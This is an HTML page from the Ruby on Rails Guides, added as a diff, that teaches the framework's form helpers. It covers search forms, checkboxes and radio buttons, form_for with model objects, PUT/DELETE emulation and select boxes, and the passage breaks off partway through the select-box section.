+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Rails Form helpers</h2>
+<p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p>
+<p>In this guide you will:</p>
+<ul>
+	<li>Create search forms and similar kind of generic forms not representing any specific model in your application</li>
+	<li>Make model-centric forms for creation and editing of specific database records</li>
+	<li>Generate select boxes from multiple types of data</li>
+	<li>Understand the date and time helpers Rails provides</li>
+	<li>Learn what makes a file upload form different</li>
+	<li>Find out where to look for complex forms</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#dealing-with-basic-forms">Dealing with Basic Forms</a><ul><li><a href="#a-generic-search-form">A Generic Search Form</a></li> <li><a href="#multiple-hashes-in-form-helper-calls">Multiple Hashes in Form Helper Calls</a></li> <li><a href="#helpers-for-generating-form-elements">Helpers for Generating Form Elements</a></li> <li><a href="#other-helpers-of-interest">Other Helpers of Interest</a></li></ul></li><li><a href="#dealing-with-model-objects">Dealing with Model Objects</a><ul><li><a href="#model-object-helpers">Model Object Helpers</a></li> <li><a href="#binding-a-form-to-an-object">Binding a Form to an Object</a></li> <li><a href="#relying-on-record-identification">Relying on Record Identification</a></li> <li><a href="#how-do-forms-with-put-or-delete-methods-work">How do forms with <span class="caps">PUT</span> or <span class="caps">DELETE</span> methods work?</a></li></ul></li><li><a href="#making-select-boxes-with-ease">Making Select Boxes with Ease</a><ul><li><a href="#the-select-and-option-tags">The Select and Option Tags</a></li> <li><a href="#select-boxes-for-dealing-with-models">Select Boxes for Dealing with Models</a></li> <li><a href="#option-tags-from-a-collection-of-arbitrary-objects">Option Tags from a Collection of Arbitrary Objects</a></li> <li><a href="#time-zone-and-country-select">Time Zone and Country Select</a></li></ul></li><li><a href="#using-date-and-time-form-helpers">Using Date and Time Form Helpers</a><ul><li><a href="#barebones-helpers">Barebones Helpers</a></li> <li><a href="#select-model-object-helpers">Model Object Helpers</a></li> <li><a href="#common-options">Common Options</a></li> <li><a href="#individual-components">Individual Components</a></li></ul></li><li><a href="#uploading-files">Uploading Files</a><ul><li><a href="#what-gets-uploaded">What Gets Uploaded</a></li> <li><a href="#dealing-with-ajax">Dealing with Ajax</a></li></ul></li><li><a href="#customizing-form-builders">Customizing Form Builders</a></li><li><a href="#understanding-parameter-naming-conventions">Understanding Parameter Naming Conventions</a><ul><li><a href="#basic-structures">Basic Structures</a></li> <li><a href="#combining-them">Combining Them</a></li> <li><a href="#using-form-helpers">Using Form Helpers</a></li></ul></li><li><a href="#building-complex-forms">Building Complex Forms</a></li><li><a href="#changelog">Changelog</a></li><li><a href="#authors">Authors</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='note'><p>This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit <a href="http://api.rubyonrails.org/">the Rails <span class="caps">API</span> documentation</a> for a complete reference.</p></div>
+<h3 id="dealing-with-basic-forms">1 Dealing with Basic Forms</h3>
+<p>The most basic form helper is <tt>form_tag</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_tag do %&gt;
+  Form contents
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>When called without arguments like this, it creates a form element that has the current page as its action and &#8220;post&#8221; as its method (some line breaks added for readability):</p>
+<p>Sample output from <tt>form_tag</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/home/index&quot; method=&quot;post&quot;&gt;
+  &lt;div style=&quot;margin:0;padding:0&quot;&gt;
+    &lt;input name=&quot;authenticity_token&quot; type=&quot;hidden&quot; value=&quot;f755bb0ed134b76c432144748a6d4b7a7ddf2b71&quot; /&gt;
+  &lt;/div&gt;
+  Form contents
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If you carefully observe this output, you can see that the helper generated something you didn&#8217;t specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form whose action is not &#8220;get&#8221; (provided that this security feature is enabled). You can read more about this in the <a href="./security.html#_cross_site_reference_forgery_csrf">Ruby On Rails Security Guide</a>.</p>
+<div class='note'><p>Throughout this guide, this <tt>div</tt> with the hidden input will be stripped away to have clearer code samples.</p></div>
+<h4 id="a-generic-search-form">1.1 A Generic Search Form</h4>
+<p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p>
+<ol>
+	<li>a form element with &#8220;<span class="caps">GET</span>&#8221; method,</li>
+	<li>a label for the input,</li>
+	<li>a text input element, and</li>
+	<li>a submit element.</li>
+</ol>
+<div class='warning'><p>Always use &#8220;<span class="caps">GET</span>&#8221; as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right <span class="caps">HTTP</span> verb for an action.</p></div>
+<p>To create this form you will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt>, and <tt>submit_tag</tt>, respectively.</p>
+<p>A basic search form</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_tag(search_path, :method =&gt; &quot;get&quot;) do %&gt;
+  &lt;%= label_tag(:q, &quot;Search for:&quot;) %&gt;
+  &lt;%= text_field_tag(:q) %&gt;
+  &lt;%= submit_tag(&quot;Search&quot;) %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p><tt>search_path</tt> can be a named route specified in &#8220;routes.rb&#8221;: <br /><tt>map.search &#8220;search&#8221;, :controller =&gt; &#8220;search&#8221;</tt></p></div>
+<p>The above view code will result in the following markup:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/search&quot; method=&quot;get&quot;&gt;
+  &lt;label for=&quot;q&quot;&gt;Search for:&lt;/label&gt;
+  &lt;input id=&quot;q&quot; name=&quot;q&quot; type=&quot;text&quot; /&gt;
+  &lt;input name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Search&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in <span class="caps">HTML</span>.</p>
+<div class='info'><p>For every form input, an ID attribute is generated from its name (&#8220;q&#8221; in the example). These IDs can be very useful for <span class="caps">CSS</span> styling or manipulation of form controls with JavaScript.</p></div>
+<h4 id="multiple-hashes-in-form-helper-calls">1.2 Multiple Hashes in Form Helper Calls</h4>
+<p>By now you&#8217;ve seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and <span class="caps">HTML</span> options such as the form element&#8217;s class.</p>
+<p>As with the <tt>link_to</tt> helper, the path argument doesn&#8217;t have to be given a string. It can be a hash of <span class="caps">URL</span> parameters that Rails&#8217; routing mechanism will turn into a valid <span class="caps">URL</span>. However, this is a bad way to pass multiple hashes as method arguments:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_tag(:controller =&gt; &quot;people&quot;, :action =&gt; &quot;search&quot;, :method =&gt; &quot;get&quot;, :class =&gt; &quot;nifty_form&quot;)
+# =&gt; &lt;form action=&quot;/people/search?method=get&amp;class=nifty_form&quot; method=&quot;post&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a <span class="caps">URL</span> with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_tag({:controller =&gt; &quot;people&quot;, :action =&gt; &quot;search&quot;}, :method =&gt; &quot;get&quot;, :class =&gt; &quot;nifty_form&quot;)
+# =&gt; &lt;form action=&quot;/people/search&quot; method=&quot;get&quot; class=&quot;nifty_form&quot;&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.</p>
+<div class='warning'><p>Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an <tt>expecting tASSOC</tt> syntax error.</p></div>
+<h4 id="helpers-for-generating-form-elements">1.3 Helpers for Generating Form Elements</h4>
+<p>Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in _tag such as <tt>text_field_tag</tt>, <tt>check_box_tag</tt>, generate just a single <tt>&lt;input&gt;</tt> element. The first parameter to these is always the name of the input. In the controller this name will be the key in the <tt>params</tt> hash used to get the value entered by the user. For example, if the form contains</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= text_field_tag(:query) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>then the controller code should use</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+params[:query]
+</pre>
+</div>
+</notextile>
+
+<p>to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the <tt>params</tt> hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html"><span class="caps">API</span> documentation</a>.</p>
+<h5 id="checkboxes">1.3.1 Checkboxes</h5>
+<p>Checkboxes are form controls that give the user a set of options they can enable or disable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= check_box_tag(:pet_dog) %&gt;
+&lt;%= label_tag(:pet_dog, &quot;I own a dog&quot;) %&gt;
+&lt;%= check_box_tag(:pet_cat) %&gt;
+&lt;%= label_tag(:pet_cat, &quot;I own a cat&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input id=&quot;pet_dog&quot; name=&quot;pet_dog&quot; type=&quot;checkbox&quot; value=&quot;1&quot; /&gt;
+&lt;label for=&quot;pet_dog&quot;&gt;I own a dog&lt;/label&gt;
+&lt;input id=&quot;pet_cat&quot; name=&quot;pet_cat&quot; type=&quot;checkbox&quot; value=&quot;1&quot; /&gt;
+&lt;label for=&quot;pet_cat&quot;&gt;I own a cat&lt;/label&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The second parameter to <tt>check_box_tag</tt> is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the <tt>params</tt> hash). With the above form you would check the value of <tt>params[:pet_dog]</tt> and <tt>params[:pet_cat]</tt> to see which pets the user owns.</p>
+<h5 id="radio-buttons">1.3.2 Radio Buttons</h5>
+<p>Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= radio_button_tag(:age, &quot;child&quot;) %&gt;
+&lt;%= label_tag(:age_child, &quot;I am younger than 21&quot;) %&gt;
+&lt;%= radio_button_tag(:age, &quot;adult&quot;) %&gt;
+&lt;%= label_tag(:age_adult, &quot;I'm over 21&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;input id=&quot;age_child&quot; name=&quot;age&quot; type=&quot;radio&quot; value=&quot;child&quot; /&gt;
+&lt;label for=&quot;age_child&quot;&gt;I am younger than 21&lt;/label&gt;
+&lt;input id=&quot;age_adult&quot; name=&quot;age&quot; type=&quot;radio&quot; value=&quot;adult&quot; /&gt;
+&lt;label for=&quot;age_adult&quot;&gt;I'm over 21&lt;/label&gt;
+</pre>
+</div>
+</notextile>
+
+<p>As with <tt>check_box_tag</tt> the second parameter to <tt>radio_button_tag</tt> is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and <tt>params[:age]</tt> will contain either &#8220;child&#8221; or &#8220;adult&#8221;.</p>
+<div class='warning'><p>Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.</p></div>
+<h4 id="other-helpers-of-interest">1.4 Other Helpers of Interest</h4>
+<p>Other form controls worth mentioning are the text area, password input and hidden input:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= text_area_tag(:message, &quot;Hi, nice site&quot;, :size =&gt; &quot;24x6&quot;) %&gt;
+&lt;%= password_field_tag(:password) %&gt;
+&lt;%= hidden_field_tag(:parent_id, &quot;5&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;textarea id=&quot;message&quot; name=&quot;message&quot; cols=&quot;24&quot; rows=&quot;6&quot;&gt;Hi, nice site&lt;/textarea&gt;
+&lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; /&gt;
+&lt;input id=&quot;parent_id&quot; name=&quot;parent_id&quot; type=&quot;hidden&quot; value=&quot;5&quot; /&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript.</p>
+<div class='info'><p>If you&#8217;re using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating <tt>filter_parameter_logging(:password)</tt> in your ApplicationController.</p></div>
+<h3 id="dealing-with-model-objects">2 Dealing with Model Objects</h3>
+<h4 id="model-object-helpers">2.1 Model Object Helpers</h4>
+<p>A particularly common task for a form is editing or creating a model object. While the <tt>*_tag</tt> helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example <tt>text_field</tt>, <tt>text_area</tt>.</p>
+<p>For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined <tt>@person</tt> and that person&#8217;s name is Henry then a form containing:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= text_field(:person, :name) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>will produce output similar to</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; type=&quot;text&quot; value=&quot;Henry&quot;/&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Upon form submission the value entered by the user will be stored in <tt>params[:person][:name]</tt>. The <tt>params[:person]</tt> hash is suitable for passing to <tt>Person.new</tt> or, if <tt>@person</tt> is an instance of Person, <tt>@person.update_attributes</tt>. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a <tt>name</tt> and a <tt>name=</tt> method Rails will be happy.</p>
+<div class='warning'><p>You must pass the name of an instance variable, i.e. <tt>:person</tt> or <tt>"person"</tt>, not an actual instance of your model object.</p></div>
+<p>Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the <a href="./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view">Active Record Validations and Callbacks</a> guide.</p>
+<h4 id="binding-a-form-to-an-object">2.2 Binding a Form to an Object</h4>
+<p>While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what <tt>form_for</tt> does.</p>
+<p>Assume we have a controller for dealing with articles <tt>app/controllers/articles_controller.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def new
+  @article = Article.new
+end
+</pre>
+</div>
+</notextile>
+
+<p>The corresponding view <tt>app/views/articles/new.html.erb</tt> using <tt>form_for</tt> looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for :article, @article, :url =&gt; { :action =&gt; &quot;create&quot; }, :html =&gt; {:class =&gt; &quot;nifty_form&quot;} do |f| %&gt;
+  &lt;%= f.text_field :title %&gt;
+  &lt;%= f.text_area :body, :size =&gt; &quot;60x12&quot; %&gt;
+  &lt;%= submit_tag &quot;Create&quot; %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>There are a few things to note here:</p>
+<ol>
+	<li><tt>:article</tt> is the name of the model and <tt>@article</tt> is the actual object being edited.</li>
+	<li>There is a single hash of options. Routing options are passed in the <tt>:url</tt> hash, <span class="caps">HTML</span> options are passed in the <tt>:html</tt> hash.</li>
+	<li>The <tt>form_for</tt> method yields a <strong>form builder</strong> object (the <tt>f</tt> variable).</li>
+	<li>Methods to create form controls are called <strong>on</strong> the form builder object <tt>f</tt></li>
+</ol>
+<p>The resulting <span class="caps">HTML</span> is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/articles/create&quot; method=&quot;post&quot; class=&quot;nifty_form&quot;&gt;
+  &lt;input id=&quot;article_title&quot; name=&quot;article[title]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;textarea id=&quot;article_body&quot; name=&quot;article[body]&quot; cols=&quot;60&quot; rows=&quot;12&quot;&gt;&lt;/textarea&gt;
+  &lt;input name=&quot;commit&quot; type=&quot;submit&quot; value=&quot;Create&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The name passed to <tt>form_for</tt> controls the key used in <tt>params</tt> to access the form&#8217;s values. Here the name is <tt>article</tt> and so all the inputs have names of the form <tt>article[<em>attribute_name</em>]</tt>. Accordingly, in the <tt>create</tt> action <tt>params[:article]</tt> will be a hash with keys <tt>:title</tt> and <tt>:body</tt>. You can read more about the significance of input names in the parameter_names section.</p>
+<p>The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.</p>
+<p>You can create a similar binding without actually creating  <tt>&lt;form&gt;</tt> tags with the <tt>fields_for</tt> helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for :person, @person, :url =&gt; { :action =&gt; &quot;create&quot; } do |person_form| %&gt;
+  &lt;%= person_form.text_field :name %&gt;
+  &lt;%= fields_for @person.contact_detail do |contact_details_form| %&gt;
+    &lt;%= contact_details_form.text_field :phone_number %&gt;
+  &lt;% end %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>which produces the following output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/people/create&quot; class=&quot;new_person&quot; id=&quot;new_person&quot; method=&quot;post&quot;&gt;
+  &lt;input id=&quot;person_name&quot; name=&quot;person[name]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+  &lt;input id=&quot;contact_detail_phone_number&quot; name=&quot;contact_detail[phone_number]&quot; size=&quot;30&quot; type=&quot;text&quot; /&gt;
+&lt;/form&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The object yielded by <tt>fields_for</tt> is a form builder like the one yielded by <tt>form_for</tt> (in fact <tt>form_for</tt> calls <tt>fields_for</tt> internally).</p>
+<h4 id="relying-on-record-identification">2.3 Relying on Record Identification</h4>
+<p>The Article model is directly available to users of the application, so &#8212; following the best practices for developing with Rails &#8212; you should declare it <strong>a resource</strong>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+resources :articles
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>Declaring a resource has a number of side-affects. See <a href="routing.html#resource-routing-the-rails-default">Rails Routing From the Outside In</a> for more information on setting up and using resources.</p></div>
+<p>When dealing with RESTful resources, calls to <tt>form_for</tt> can get significantly easier if you rely on <strong>record identification</strong>. In short, you can just pass the model instance and have Rails figure out model name and the rest:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+## Creating a new article
+# long-style:
+form_for(:article, @article, :url =&gt; articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url =&gt; article_path(@article), :html =&gt; { :method =&gt; &quot;put&quot; })
+# short-style:
+form_for(@article)
+</pre>
+</div>
+</notextile>
+
+<p>Notice how the short-style <tt>form_for</tt> invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking <tt>record.new_record?</tt>. It also selects the correct path to submit to and the name based on the class of the object.</p>
+<p>Rails will also automatically set the <tt>class</tt> and <tt>id</tt> of the form appropriately: a form creating an article would have <tt>id</tt> and <tt>class</tt> <tt>new_article</tt>. If you were editing the article with id 23, the <tt>class</tt> would be set to <tt>edit_article</tt> and the id to <tt>edit_article_23</tt>. These attributes will be omitted for brevity in the rest of this guide.</p>
+<div class='warning'><p>When you&#8217;re using <span class="caps">STI</span> (single-table inheritance) with your models, you can&#8217;t rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, <tt>:url</tt>, and <tt>:method</tt> explicitly.</p></div>
+<h5 id="dealing-with-namespaces">2.3.1 Dealing with Namespaces</h5>
+<p>If you have created namespaced routes, <tt>form_for</tt> has a nifty shorthand for that too. If your application has an admin namespace then</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_for [:admin, @article]
+</pre>
+</div>
+</notextile>
+
+<p>will create a form that submits to the articles controller inside the admin namespace (submitting to <tt>admin_article_path(@article)</tt> in the case of an update). If you have several levels of namespacing then the syntax is similar:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_for [:admin, :management, @article]
+</pre>
+</div>
+</notextile>
+
+<p>For more information on Rails&#8217; routing system and the associated conventions, please see the <a href="routing.html">routing guide</a>.</p>
+<h4 id="how-do-forms-with-put-or-delete-methods-work">2.4 How do forms with <span class="caps">PUT</span> or <span class="caps">DELETE</span> methods work?</h4>
+<p>The Rails framework encourages RESTful design of your applications, which means you&#8217;ll be making a lot of &#8220;<span class="caps">PUT</span>&#8221; and &#8220;<span class="caps">DELETE</span>&#8221; requests (besides &#8220;<span class="caps">GET</span>&#8221; and &#8220;<span class="caps">POST</span>&#8221;). However, most browsers <em>don&#8217;t support</em> methods other than &#8220;<span class="caps">GET</span>&#8221; and &#8220;<span class="caps">POST</span>&#8221; when it comes to submitting forms.</p>
+<p>Rails works around this issue by emulating other methods over <span class="caps">POST</span> with a hidden input named <tt>"_method"</tt>, which is set to reflect the desired method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+form_tag(search_path, :method =&gt; &quot;put&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;form action=&quot;/search&quot; method=&quot;post&quot;&gt;
+  &lt;div style=&quot;margin:0;padding:0&quot;&gt;
+    &lt;input name=&quot;_method&quot; type=&quot;hidden&quot; value=&quot;put&quot; /&gt;
+    &lt;input name=&quot;authenticity_token&quot; type=&quot;hidden&quot; value=&quot;f755bb0ed134b76c432144748a6d4b7a7ddf2b71&quot; /&gt;
+  &lt;/div&gt;
+  ...
+</pre>
+</div>
+</notextile>
+
+<p>When parsing POSTed data, Rails will take into account the special <tt>_method</tt> parameter and acts as if the <span class="caps">HTTP</span> method was the one specified inside it (&#8220;<span class="caps">PUT</span>&#8221; in this example).</p>
+<h3 id="making-select-boxes-with-ease">3 Making Select Boxes with Ease</h3>
+<p>Select boxes in <span class="caps">HTML</span> require a significant amount of markup (one <tt>OPTION</tt> element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.</p>
+<p>Here is what the markup might look like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;select name=&quot;city_id&quot; id=&quot;city_id&quot;&gt;
+  &lt;option value=&quot;1&quot;&gt;Lisbon&lt;/option&gt;
+  &lt;option value=&quot;2&quot;&gt;Madrid&lt;/option&gt;
+  ...
+  &lt;option value=&quot;12&quot;&gt;Berlin&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options&#8217; value attribute. Let&#8217;s see how Rails can help out here.</p>
+<h4 id="the-select-and-option-tags">3.1 The Select and Option Tags</h4>
+<p>The most generic helper is <tt>select_tag</tt>, which &#8212; as the name implies &#8212; simply generates the <tt>SELECT</tt> tag that encapsulates an options string:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= select_tag(:city_id, '&lt;option value=&quot;1&quot;&gt;Lisbon&lt;/option&gt;...') %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This is a start, but it doesn&#8217;t dynamically create the option tags. You can generate option tags with the <tt>options_for_select</tt> helper:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %&gt;
+
+output:
+
+&lt;option value=&quot;1&quot;&gt;Lisbon&lt;/option&gt;
+&lt;option value=&quot;2&quot;&gt;Madrid&lt;/option&gt;
+...
+</pre>
+</div>
+</notextile>
+
+<p>The first argument to <tt>options_for_select</tt> is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.</p>
+<p>Knowing this, you can combine <tt>select_tag</tt> and <tt>options_for_select</tt> to achieve the desired, complete markup:</p>
+<notextile>
+<div class="code_container">
